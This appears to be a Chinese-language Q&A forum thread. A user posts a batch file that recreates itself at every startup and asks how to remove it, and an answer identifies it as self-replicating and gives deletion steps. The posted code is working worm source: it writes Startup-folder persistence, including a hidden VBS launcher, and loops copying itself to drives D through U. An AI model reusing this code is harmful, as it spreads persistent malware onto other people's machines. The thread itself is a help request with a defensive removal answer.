2016-05-26 44 views
-1

我在我的电脑驱动器中发现了一个批处理,它在每次启动时都会执行并显示一些消息。问题是我无法删除此文件并且代码不可编辑这种方式)。每当我删除这个批处理文件,它再次出现。我应该怎么做? 的代码是 -不可删除和不可编辑的批处理文件

@echo off 

(echo @echo off 

echo color 1a 

echo title @VIRUS = HR 

echo echo danger!! 

echo pause)>"%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" 

(echo @echo off 

echo :A 

echo copy /y %appdata%\movie.bat d: 

echo copy /y %appdata%\movie.bat e: 

echo copy /y %appdata%\movie.bat f: 

echo copy /y %appdata%\movie.bat g: 

echo copy /y %appdata%\movie.bat h: 

echo copy /y %appdata%\movie.bat i: 

echo copy /y %appdata%\movie.bat j: 

echo copy /y %appdata%\movie.bat k: 

echo copyta%\ /y %appdata%\movie.bat l: 

echo copy /y %appdata%\movie.bat m: 

echo copy /y %appdata%\movie.bat n: 

echo copy /y %appdata%\movie.bat o: 

echo copy /y %appdata%\movie.bat p: 

echo copy /y %appdata%\movie.bat q: 

echo copy /y %appdata%\movie.bat r: 

echo copy /y %appdata%\movie.bat s: 

echo copy /y %appdata%\movie.bat t: 

echo copy /y %appdata%\movie.bat u: 

echo goto A)>"%appdata%\vol.bat" 

(echo Set WshShell = CreateObject^("WScript.Shell"^) 

echo WshShell.Run chr^(34^) ^& "%appdata%\vol.bat" ^& Chr^(34^), 0 

echo Set WshShell = Nothing) > "%appdata%\Microsoft\windows\start 

menu\Programs\startup\windows.vbs" 

copy movie.bat %appdata% 
+4

1)Off topic here。尝试[SU]。 2)看起来你有病毒或类似的东西。安装防病毒软件。 –

回答

0

这是一个自我复制的批处理文件。

从您的自动启动文件夹中删除这两个文件,以防止再次运行:

del "%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" 
del "%appdata%\Microsoft\windows\start menu\Programs\startup\windows.vbs" 

然后重新启动停止运行实例。

后,从所有驱动器中删除“movie.bat”的任何发生和

del "%appdata%\vol.bat" 

好消息是,它并没有损害你的系统。只需要它的信息:“不要运行任何可疑代码,并明智地选择你信任的人”